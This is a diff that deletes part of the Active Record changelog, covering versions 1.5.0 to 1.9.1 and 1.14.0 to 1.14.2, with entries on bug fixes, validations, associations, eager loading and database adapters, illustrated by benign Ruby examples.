-* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 *yon@milliped.com*
-
-* Fixed boolean saving on Oracle #1093 *mparrish@pearware.org*
-
-* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
-
-* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 *Leon Bredt*
-
-* Added quoting of column names for fixtures #997 *jcfischer@gmail.com*
-
-* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 *Caleb Tennis*
-
-* Fixed that benchmarking times for rendering included db runtimes #987 *Stefan Kaes*
-
-* Fixed boolean queries for t/f fields in PostgreSQL #995 *dave@cherryville.org*
-
-* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 *Jeremy Kemper*
-
-* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 *dave@cherryville.org*
-
-* Fixed Base.silence/benchmark to only log if a logger has been configured #986 *Stefan Kaes*
-
-* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 *Stefan Kaes*
-
-* Fixed bug in Base#hash method that would treat records with the same string-based id as different *Dave Thomas*
-
-* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
-
-
-## 1.9.1 (27th March, 2005) ##
-
-* Fixed that Active Record objects with float attribute could not be cloned #808
-
-* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 *Nicholas Seckar*
-
-* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
-
-* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 *Scott Barron*
-
-* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 *delynnb*
-
-
-## 1.9.0 (22th March, 2005) ##
-
-* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
-
- Developer.find_all nil, 'id ASC', 5 # return the first five developers
- Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
-
- This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged.
-
-* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 *Nicholas Seckar/Sam Stephenson*
-
-* Improved the performance of the OCI8 adapter for Oracle #723 *pilx/gjenkins*
-
-* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 *dave@cherryville.org*
-
-* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 *mindel*
-
-* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 *Alisdair McDiarmid*
-
-* Added the possibility of specifying fixtures in multiple calls #816 *kim@tinker.com*
-
-* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 *stian@grytoyr.net*
-
-* Added optionally allow for nil or empty strings with validates_numericality_of #801 *Sebastian Kanthak*
-
-* Fixed problem with using slashes in validates_format_of regular expressions #801 *Sebastian Kanthak*
-
-* Fixed that SQLite3 exceptions are caught and reported properly #823 *yerejm*
-
-* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
-
-* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
-
-
-## 1.8.0 (7th March, 2005) ##
-
-* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
-
-* Added support for timestamp with time zone in PostgreSQL #560 *Scott Barron*
-
-* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
-
- * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the
- +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+
- objects that should be inspected to determine which attributes triggered the errors.
- * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
- You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
-
-* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 *rodrigo k*
-
-* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 *Jeremy Kemper*
-
-* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
-
- class Account < ActiveRecord::Base
- has_one :credit_card, :dependent => true
- end
- class CreditCard < ActiveRecord::Base
- belongs_to :account
- end
-
- account.credit_card # => returns existing credit card, lets say id = 12
- account.credit_card = CreditCard.create("number" => "123")
- account.save # => CC with id = 12 is destroyed
-
-
-* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
-
- Validates whether the value of the specified attribute is numeric by trying to convert it to
- a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
- <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
-
- class Person < ActiveRecord::Base
- validates_numericality_of :value, :on => :create
- end
-
- Configuration options:
- * <tt>message</tt> - A custom error message (default is: "is not a number")
- * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
- * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
-
-
-* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 *Scott Barron*
-
-* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
-
-* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 *james@slashetc.com*
-
-
-## 1.7.0 (24th February, 2005) ##
-
-* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 *Jamis Buck*
-
-* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
-
- 1. Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
- and safe way of passing table-specific sequence information to the adapter.)
- 2. Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
- resort to some hacks to get data converted to Date or Time in Ruby.
- If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
- hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
- This is nasty - but if you use Duck Typing you'll probably not care very much.
- In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
- valid - too many databases use DATE for both.
- Timezones and sub-second precision on timestamps are not supported.
- 3. Default values that are functions (such as "SYSDATE") are not supported. This is a
- restriction of the way active record supports default values.
- 4. Referential integrity constraints are not fully supported. Under at least
- some circumstances, active record appears to delete parent and child records out of
- sequence and out of transaction scope. (Or this may just be a problem of test setup.)
-
- The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
-
-* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 *YuriSchimke*
-
-* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 *yerejm*
-
-* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 *tonka*
-
-* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 *Nicholas Seckar*
-
-* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 *daniel@nightrunner.com*
-
-* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 *adelle@bullet.net.au*
-
-* Fixed that find_by_* would fail when column names had numbers #670 *demetrius*
-
-* Fixed the SQL Server adapter on a bunch of issues #667 *DeLynn*
-
- 1. Created a new columns method that is much cleaner.
- 2. Corrected a problem with the select and select_all methods
- that didn't account for the LIMIT clause being passed into raw SQL statements.
- 3. Implemented the string_to_time method in order to create proper instances of the time class.
- 4. Added logic to the simplified_type method that allows the database to specify the scale of float data.
- 5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
-
-* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 *lmarlow*
-
-* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
-
- class Person < ActiveRecord::Base
- validates_each :first_name, :last_name do |record, attr|
- record.errors.add attr, 'starts with z.' if attr[0] == ?z
- end
- end
-
-* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 *Jeremy Kemper*
-
-* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
-
- class Person < ActiveRecord::Base
- validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
- end
-
-* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 *Tim Bates*
-
-* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
-
- class Project < ActiveRecord::Base
- primary_key "sysid"
- table_name "XYZ_PROJECT"
- inheritance_column { original_inheritance_column + "_id" }
- end
-
-* Fixed Base#clone for use with PostgreSQL #565 *hanson@surgery.wisc.edu*
-
-
-## 1.6.0 (January 25th, 2005) ##
-
-* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
-
-* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
-
-* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
-
-* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
-
- people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
- Person.update(people.keys, people.values)
-
-* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 *Scott Baron*
-
-* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 *notahat*
-
-* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 *Demetrius*
-
-* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 *Jeremy Kemper*
-
-* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 *Eric Anderson*
-
-* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 *Eric Anderson*
-
-* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
-
-* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
-
-* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 *Demetrius*
-
-* Fixed that find_all would produce invalid sql when called sequentialy #490 *Scott Baron*
-
-
-## 1.5.1 (January 18th, 2005) ##
-
-* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 *Tim Bates*
-
-* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 *Pelle*
-
-
-## 1.5.0 (January 17th, 2005) ##
-
-* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 *Eric Hodel*
-
-* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
-
- class Book < ActiveRecord::Base
- has_many :pages
- belongs_to :library
-
- validates_associated :pages, :library
- end
-
-* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
-
- == Unsaved objects and associations
-
- You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
- aware of, mostly involving the saving of associated objects.
-
- === One-to-one associations
-
- * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
- order to update their primary keys - except if the parent object is unsaved (new_record? == true).
- * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
- is cancelled.
- * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
- * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
- not save the parent either.
-
- === Collections
-
- * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
- (the owner of the collection) is not yet stored in the database.
- * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
- * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
- * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
-
-* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 *Tim Bates*
-
-* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 *Tim Bates*
-
-* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 *Tim Bates*
-
-* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 *Tim Bates*
-
-* Fixed binary support for PostgreSQL #444 *alex@byzantine.no*
-
-* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the
- collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If
- it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards,
- it'll take one less SELECT query if you use length.
-
-* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 *atyp.de*
-
-* Fixed that foreign keys named the same as the association would cause stack overflow #437 *Eric Anderson*
-
-* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 *Alexey*
-
-* Added Base#reload that reloads the attributes of an object from the database #422 *Andreas Schwarz*
-
-* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 *Jeremy Kemper*
-
-* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 *Matt Mower*
-
-* Added that Observers can use the observes class method instead of overwriting self.observed_class().
-
- Before:
- class ListSweeper < ActiveRecord::Base
- def self.observed_class() [ List, Item ]
- end
-
- After:
- class ListSweeper < ActiveRecord::Base
- observes List, Item
- end
-
-* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
-
-* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
-
-* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
-
- Before: topic.update_attribute(:approved, !approved?)
- After : topic.toggle!(:approved)
-
-* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
-
- page.views # => 1
- page.increment!(:views) # executes an UPDATE statement
- page.views # => 2
-
- page.increment(:views).increment!(:views)
- page.views # => 4
-
-* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
-
-
-
-
-## 1.14.2 (April 9th, 2005) ##
-
-* Fixed calculations for the Oracle Adapter (closes #4626) *Michael Schoen*
-
-
-## 1.14.1 (April 6th, 2006) ##
-
-* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. *Nicholas Seckar*
-
-* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) *Lars Pind*
-
-* Enable Limit/Offset in Calculations (closes #4558) *lmarlow*
-
-* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) *Rick Olson*
-
-* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 *lagroue@free.fr*
-
-* Allow AR::Base#respond_to? to behave when @attributes is nil *Ryan Davis*
-
-* Support eager includes when going through a polymorphic has_many association. *Rick Olson*
-
-* Added support for eagerly including polymorphic has_one associations. (closes #4525) *Rick Olson*
-
- class Post < ActiveRecord::Base
- has_one :tagging, :as => :taggable
- end
-
- Post.find :all, :include => :tagging
-
-* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many *Rick Olson*
-
-* Added support for going through a polymorphic has_many association: (closes #4401) *Rick Olson*
-
- class PhotoCollection < ActiveRecord::Base
- has_many :photos, :as => :photographic
- belongs_to :firm
- end
-
- class Firm < ActiveRecord::Base
- has_many :photo_collections
- has_many :photos, :through => :photo_collections
- end
-
-* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. *ruben.nine@gmail.com*
-
-* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. *Florian Weber*
-
-* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations. (closes #4456) *Stefan*
-
-* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) *Rick Olson*
-
-* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model *David Heinemeier Hansson*
-
-* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) *David Heinemeier Hansson*
-
-* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). *Marcel Mollina Jr.*
-
-* Fixed broken OCIAdapter #4457 *Michael Schoen*
-
-
-## 1.14.0 (March 27th, 2006) ##
-
-* Replace 'rescue Object' with a finer grained rescue. Closes #4431. *Nicholas Seckar*
-
-* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table *Rick Olson*
-
-* Add support for :include to with_scope *andrew@redlinesoftware.com*
-
-* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 *Michael Schoen*
-
-* Change periods (.) in table aliases to _'s. Closes #4251 *jeff@ministrycentered.com*
-
-* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x. Closes #4348 *Rick Olson*
-
-* Fixed issue that kept :select options from being scoped *Rick Olson*
-
-* Fixed db_schema_import when binary types are present #3101 *David Heinemeier Hansson*
-
-* Fixed that MySQL enums should always be returned as strings #3501 *David Heinemeier Hansson*
-
-* Change has_many :through to use the :source option to specify the source association. :class_name is now ignored. *Rick Olson*
-
- class Connection < ActiveRecord::Base
- belongs_to :user
- belongs_to :channel
- end
-
- class Channel < ActiveRecord::Base
- has_many :connections
- has_many :contacts, :through => :connections, :class_name => 'User' # OLD
- has_many :contacts, :through => :connections, :source => :user # NEW
- end
-
-* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 *contact@maik-schmidt.de*
-
-* Allow overriding of find parameters in scoped has_many :through calls *Rick Olson*
-
- In this example, :include => false disables the default eager association from loading. :select changes the standard
- select clause. :joins specifies a join that is added to the end of the has_many :through query.
-
- class Post < ActiveRecord::Base
- has_many :tags, :through => :taggings, :include => :tagging do
- def add_joins_and_select
- find :all, :select => 'tags.*, authors.id as author_id', :include => false,
- :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
- end
- end
- end
-
-* Fixed that schema changes while the database was open would break any connections to an SQLite database (now we reconnect if that error is throw) *David Heinemeier Hansson*
-
-* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) *Jonathan Viney*
-
-* Quit ignoring default :include options in has_many :through calls *Mark James*
-
-* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) *Jonathan Viney*
-
-* Eager Loading support added for has_many :through => :has_many associations (see below). *Rick Olson*
-
-* Allow has_many :through to work on has_many associations (closes #3864) [sco@scottraymond.net] Example:
-
- class Firm < ActiveRecord::Base
- has_many :clients
- has_many :invoices, :through => :clients
- end
-
- class Client < ActiveRecord::Base
- belongs_to :firm
- has_many :invoices
- end
-
- class Invoice < ActiveRecord::Base
- belongs_to :client
- end
-
-* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) *Josh Susser*
-
-* Fixed has_many :through to include :conditions set on the :through association. closes #4020 *Jonathan Viney*
-
-* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) *andylien@gmail.com / Rick Olson*
-
-* SQL Server adapter gets some love #4298 *Ryan Tomayko*
-
-* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 *derrickspell@cdmplus.com*
-
-* Rework table aliasing to account for truncated table aliases. Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
-
- Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
-
-* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. *Rick Olson*
-
-* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 *Michael Koziarski*
-
-* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 *Michael Koziarski*
-
-* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 *Tom Ward*
-
-* Fixed that Migration#execute would have the table name prefix appended to its query #4110 *mark.imbriaco@pobox.com*
-
-* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) *Jamis Buck*
-
-* Use association's :conditions when eager loading. [Jeremy Evans] #4144
-
-* Alias the has_and_belongs_to_many join table on eager includes. #4106 *Jeremy Evans*
-
- This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
-
- Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
-
-* Oracle adapter gets some love #4230 *Michael Schoen*
-
- * Changes :text to CLOB rather than BLOB [Moses Hohman]
- * Fixes an issue with nil numeric length/scales (several)
- * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
- * Tweaks a unit test to get it all green again
- * Adds support for #current_database
-
-* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 *Rick Olson*
-
- class CachedModel < ActiveRecord::Base
- self.abstract_class = true
- end
-
- class Post < CachedModel
- end
-
- CachedModel.abstract_class?
- => true
-
- Post.abstract_class?
- => false
-
- Post.base_class
- => Post
-
- Post.table_name
- => 'posts'
-
-* Allow :dependent options to be used with polymorphic joins. #3820 *Rick Olson*
-
- class Foo < ActiveRecord::Base
- has_many :attachments, :as => :attachable, :dependent => :delete_all
- end
-
-* Nicer error message on has_many :through when :through reflection can not be found. #4042 *court3nay*
-
-* Upgrade to Transaction::Simple 1.3 *Jamis Buck*
-
-* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model *Rick Olson*
-
-* Allow ordering of calculated results and/or grouped fields in calculations *solo@gatelys.com*
-
-* Make ActiveRecord::Base#save! return true instead of nil on success. #4173 *johan@johansorensen.com*
-
-* Dynamically set allow_concurrency. #4044 *Stefan Kaes*
-
-* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
-
- topic.to_xml
-
- ...returns:
-
- <?xml version="1.0" encoding="UTF-8"?>
- <topic>
- <title>The First Topic</title>
- <author-name>David</author-name>
- <id type="integer">1</id>
- <approved type="boolean">false</approved>
- <replies-count type="integer">0</replies-count>
- <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
- <written-on type="datetime">2003-07-16 09:28:00</written-on>
- <content>Have a nice day</content>
- <author-email-address>david@loudthinking.com</author-email-address>
- <parent-id></parent-id>
- <last-read type="date">2004-04-15</last-read>
- </topic>
-
- ...and you can configure with:
-
- topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
-
- ...that'll return:
-
- <topic>
- <title>The First Topic</title>
- <author-name>David</author-name>
- <approved type="boolean">false</approved>
- <content>Have a nice day</content>
- <author-email-address>david@loudthinking.com</author-email-address>
- <parent-id></parent-id>
- <last-read type="date">2004-04-15</last-read>
- </topic>
-
- You can even do load first-level associations as part of the document:
-
- firm.to_xml :include => [ :account, :clients ]
-
- ...that'll return something like:
-
- <?xml version="1.0" encoding="UTF-8"?>
- <firm>
- <id type="integer">1</id>
- <rating type="integer">1</rating>
- <name>37signals</name>
- <clients>
- <client>
- <rating type="integer">1</rating>
- <name>Summit</name>
- </client>
- <client>
- <rating type="integer">1</rating>
- <name>Microsoft</name>
- </client>
- </clients>
- <account>
- <id type="integer">1</id>
- <credit-limit type="integer">50</credit-limit>
- </account>
- </firm>
-
-* Allow :counter_cache to take a column name for custom counter cache columns *Jamis Buck*
-
-* Documentation fixes for :dependent *robby@planetargon.com*
-
-* Stop the MySQL adapter crashing when views are present. #3782 *Jonathan Viney*
-
-* Don't classify the belongs_to class, it is already singular #4117 *keithm@infused.org*
-
-* Allow set_fixture_class to take Classes instead of strings for a class in a module. Raise FixtureClassNotFound if a fixture can't load. *Rick Olson*
-
-* Fix quoting of inheritance column for STI eager loading #4098 *Jonathan Viney <jonathan@bluewire.net.nz>*
-
-* Added smarter table aliasing for eager associations for multiple self joins #3580 *Rick Olson*
-
- * The first time a table is referenced in a join, no alias is used.
- * After that, the parent class name and the reflection name are used.
-
- Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
-
- * Any additional join references get a numerical suffix like '_2', '_3', etc.
-
-* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
-
-* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna@wota.jp]. Examples:
-
- # cascaded in two levels
- >> Author.find(:all, :include=>{:posts=>:comments})
- => authors
- +- posts
- +- comments
-
- # cascaded in two levels and normal association
- >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
- => authors
- +- posts
- +- comments
- +- categorizations
-
- # cascaded in two levels with two has_many associations
- >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
- => authors
- +- posts
- +- comments
- +- categorizations
-
- # cascaded in three levels
- >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
- => companies
- +- groups
- +- members
- +- favorites
-
-* Make counter cache work when replacing an association #3245 *eugenol@gmail.com*
-
-* Make migrations verbose *Jamis Buck*
-
-* Make counter_cache work with polymorphic belongs_to *Jamis Buck*
-
-* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 *anna@wota.jp*
-
-* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
-
- * Does not support DATE SQL column types; use DATETIME instead.
- * Date columns on HABTM join tables are returned as String, not Time.
- * Insertions are potentially broken for :polymorphic join tables
- * BLOB column access not yet fully supported
-
-* Clear stale, cached connections left behind by defunct threads. *Jeremy Kemper*
-
-* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false. Most AR usage is in single-threaded applications. *Jeremy Kemper*
-
-* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 *Michael Schoen*
-
-* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 *David Heinemeier Hansson*
-
-* Speed up class -> connection caching and stale connection verification. #3979 *Stefan Kaes*
-
-* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. *Kevin Clark*
-
-* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 *dblack@wobblini.net*
-
-* Define attribute query methods to avoid method_missing calls. #3677 *Jonathan Viney*
-
-* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome. #3591 *Simon Stapleton, Tom Ward*
-
-* Added support for nested scopes #3407 [anna@wota.jp]. Examples:
-
- Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
-
- # inner rule is used. (all previous parameters are ignored)
- Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (name = 'Jamis')
- end
-
- # parameters are merged
- Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
- Developer.find(:all) # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
- end
- end
-
-* Fixed db2 connection with empty user_name and auth options #3622 *phurley@gmail.com*
-
-* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 *Masao Mutoh*
-
-* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 *Lars Pind*
-
-* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
-
- Person.average :age
- Person.minimum :age
- Person.maximum :age
- Person.sum :salary, :group => :last_name
-
-* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 *Luke Redpath*
-
-* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. *Jeremy Kemper*
-
-* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 *Aggregated by schoenm@earthlink.net*
-
-* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 *rubyonrails@atyp.de*
-
-* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 *Stefan Kaes*
-
-* Correct syntax error in mysql DDL, and make AAACreateTablesTest run first *Bob Silva*
-
-* Allow :include to be used with has_many :through associations #3611 *Michael Schoen*
-
-* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table). #2920 *Blair Zajac*
-
-* SQLServer: more compatible limit/offset emulation. #3779 *Tom Ward*
-
